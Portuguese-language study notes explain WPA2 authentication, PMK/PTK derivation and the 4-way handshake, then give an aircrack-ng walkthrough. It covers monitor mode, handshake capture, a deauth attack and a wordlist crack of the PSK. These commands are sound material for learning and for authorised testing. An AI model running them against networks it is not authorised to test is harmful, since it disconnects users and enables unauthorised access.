Study Notes

WPA2

Definição: Wi-Fi Protected Access 2 é a evolução do WPA e se tornou o padrão de segurança wireless.

Data: Lançado em 2004

Criptografia: Simétrica, usando o algorítimo AES. Além disso, implementa o protocolo ==CCMP== (Counter Mode with Cipher Block Chaining Message Authentication Code Protocol)* para criptografia e integridade dos dados.

Tipos: WPA2-Personal e WPA2-Enterprise.

Autenticação


Ocorre antes do device estabelecer uma conexão com o Access Point. Ou seja, durante a autenticação é processado se o usuário possuí o "passe" para ser autorizado a se conectar na LAN. Os dois tipos de WPA2 utilizam da mesma criptografia, porém, se diferenciam principalmente na forma com que lidam com a authentication.

WPA2-Personal

  • Ideal para redes pequenas (domésticas, pequenas empresas, etc)
  • Usa o PSK (Pre-Shared Key) para autenticar. A PSK é senha da rede. Existe uma única passphrase para todos os usuários
  • É mais difícil de controlar quem vai acessar a rede. Se a senha for vazada, qualquer pessoa pode entrar.
  • Problema: se uma empresa/escola estiver usando WPA2-personal e um funcionário sair da organização, não tem como bloquear apenas ele. Teria que alterar a senha para todo mundo.

WPA2-Enterprise

  • Ideal para redes grandes (organizações, faculdades, empresas, escolas, etc)
  • Não existe "senha da rede". Cada pessoa se autentica individualmente na rede.
  • IEEE 802.1x (EAP) é o protocolo que controla o processo de autenticação.
  • O usuário informa as credenciais que são verificadas por um servidor de autenticação (que geralmente é um ==RADIUS==). Se for autorizado, o acesso é liberado.
  • Problemas: Alta complexidade (gerenciar usuários, certificados, logs) e muitos IOT devices (lâmpadas inteligentes, smart tvs, etc) não suportam esse protocolo (é preciso de mais recursos de hw, como RAM, CPU e persistência)
  • Um exemplo de WPA2-Enterprise é a rede wifi da PUC

Na etapa de autenticação de um device com o AP no WPA2 (tanto enterprise quanto personal) acontece uma comunicação específica chamada de 4-way handshake.

4-Way Handshake

É o nome das 4 primeiras mensagens de comunicação antes de estabelecer uma conexão (ou não) entre o device e o AP.

Antes do 4-way handshake começar, é necessário que tanto o AP quanto device conheçam a PMK Pairwise Master Key (uma string de 256 bits gerado pelo AP e o device a partir do "passe". Ambos geram ela localmente e não há comunicação de PMK entre o AP e o device porque seria uma vulnerabilidade). No Personal, PMK=PBKDF2(alg=HMAC.SHA1,salt=SSID,iterations=4096)PMK=PBKDF2(alg=HMAC.SHA1, salt=SSID, iterations=4096) e todos os devices conectados na mesma rede possuem o mesmo valor de PMK. Já no Enterprise, a PMK é derivada do processo de autenticação EAP e os valores de PMK variam em cada device.

  1. AP -> Device: O AP gera um random integer de 256 bits chamado de ANonce (Authenticator Nonce), que é enviado junto com infos básicas da rede.

  2. Device -> AP: O device gera seu próprio random integer chamado de SNonce (Supplicant Nonce). Depois disso, ele calcula a PTK (Pairwise Transient Key) - PTK=HMACSHA1(PMK+ANonce+SNonce+MAC.AP+MAC.device)PTK=HMAC-SHA1(PMK + ANonce + SNonce + MAC.AP + MAC.device) que é uma única para cada sessão. A PTK é dividida em 3 partes de 128 bits cada:

    • KCK (Key Confirmation Key): valida a integridade do handshake
    • KEK (Key Encryption Key): criptografa chaves adicionais
    • TK (Temporal Key): usada como chave simétrica para o AES criptografar os dados transmitidos. O device então envia apenas o SNonce junto com o MIC (Message Integrity Check) que é uma "assinatura" calculada com o KCK que prova "eu conheço a PMK"
  3. AP -> Device: O AP recebe o SNonce e o MIC do device, calcula a mesma PTK com esses parâmetros, e gera um MIC que é comparado com o MIC recebido. Se der match significa que o device conhece a PMK de fato. O AP então gera a ==GTK== (Group Temporal Key) para tráfego broadcast. Dessa forma, enviando que a PTK foi aceita, GTK criptografado com a KEK e o próprio MIC para provar que também conhece a PMK.

  4. Device -> AP: Device verifica o MIC do AP, confirma que recebeu e possuí as chaves necessárias e envia um ACK final. Handshake completo!

Nota: A TK é única por device/sessão, usada em unicast entre device e AP. Já a GTK é a mesma para todos os devices da rede naquele momento, broadcast/multicast (Um exemplo que ocorre muito frequente de broadcast é o DHCP server se comunicando com o device que acabou de se autenticar/conectar na rede. O DHCP só se comunica com o device por broadcast porque não lhe foi atribuído nenhum IP address ainda). E, como pode-se analisar, é no 3/4 que o AP (Authenticator) verifica se o MIC que o device conseguiu produzir é correto (da match com o dele).

Sessão Segura

Depois do 4-way handshake performado, é estabelecido uma sessão segura onde os a TK é usada para criptografar/descriptografar (chaves simétricas no AES) os dados unicast e a GTK para o tráfego broadcast/multicast. E, como se pode analisar, a forma como esse protocolo realiza a autenticação traz muita segurança. Cada sessão tem temp keys devidos ao randoms nonces (não é possível decifrar sessões antigas se descobrir a PMK) e a PMK é provada ser conhecida sem nunca ser transmitida de fato entre o AP e o device.

Brute Force Attack (WPA2-Personal)


Monitorando as ondas eletromagnéticas durante o 4-way handshake/ autenticação é possível capturar os frames transmitidos e usar força bruta (testar todas as possibilidades) para tentar acertar o PSK (senha) da Rede que foi usada.

O ataque consistem em capturar a etapa 1/4 para pegar o AP.MAC e o ANonce e a 2/4 para pegar o device.MAC, SNonce e o MIC gerado. Dessa forma, como já se tem esses parâmetros, o objetivo é testar várias possíveis PSKs de uma wordlist (que serão transformadas em PMK=PBKDF2(alg=HMAC.SHA1,salt=SSID,iterations=4096)PMK=PBKDF2(alg=HMAC.SHA1, salt=SSID, iterations=4096)), posteriormente em (PTK=HMACSHA1(PMK+ANonce+SNonce+MAC.AP+MAC.device)PTK=HMAC-SHA1(PMK + ANonce + SNonce + MAC.AP + MAC.device)) e por fim em um possível MIC. Se o MIC gerado for igual ao capturado então o PSK testado é o correto.

Uma forma de implementar o ataque é utilizando o conjunto de ferramentas "hacking" para lidar com redes wifi chamado de aircrack-ng. Para capturar os frames do handshake é preciso ter um NIC (Network Interface Card) que suporte modo monitor.

  1. Habilite a NIC em modo monitor.
iw dev # para ver o nome da IF target e o mode que ela está
IF="wlx00c0cab54a5a" # bash var para simplificar
sudo ip link set $IF down
sudo iw dev $IF set type monitor
sudo ip link set $IF up	
  1. Explorar o modo monitor capturando o tráfego. O objetivo é encontrar a rede target, anotando seu BSSID (o MAC address do AP) e CH (channel que aquele AP está se comunicando).
sudo airodump-ng $IF
  1. Depois de ter o MAC e o channel do AP da rede target, podemos especificar o monitoramento e capturar o handshake que eventualmente tiver. O próprio airodump mostra se tiver um eventual handshake capturado. No entanto, se for de interesse ver de fato o que está sendo trafegado pode-se utilizar o wireshark clicando na interface que está em modo monitor.
bssid_target="34:53:D2:A9:26:93"
ch_target="7"
sudo airodump-ng --bssid $bssid_target --channel $ch_target -w capture $IF # vai salvar a captura dos frames (incluindo handshakes) em arquivos (.cap, .csv e.kismet)

Nessa etapa, ao invés de esperar que um handshake espontâneo aconteça, é comum utilizar em conjunto o aireplay-ng para realizar um deauth attack e forçar que os devices se desconectem do AP e precisem refazer um novo handshake.

sudo aireplay-ng --deauth 10 -a $bssid_target $IF # 10 frames de deauth para todos os clientes conectados no AP

Nota: Se não estiver funcionando direito o sistema de monitoramento (por algum motivo misterioso) considere reiniciar a ferramenta/funcionamento da interface.

sudo airmon-ng stop $IF # retorna a if para managed antes de reiniciar
sudo airmon-ng check kill # encerra processos que podem interferir no modo monitor (NetworkManager, wpa_supplicant, avahi-daemon e etc)
sudo airmon-ng start $IF # ativa o modo monitor novamente
  1. Executar o brute force de fato utilizando o aircrack-ng
sudo aircrack-ng -w ./wordlist.txt capture-01.cap

On this page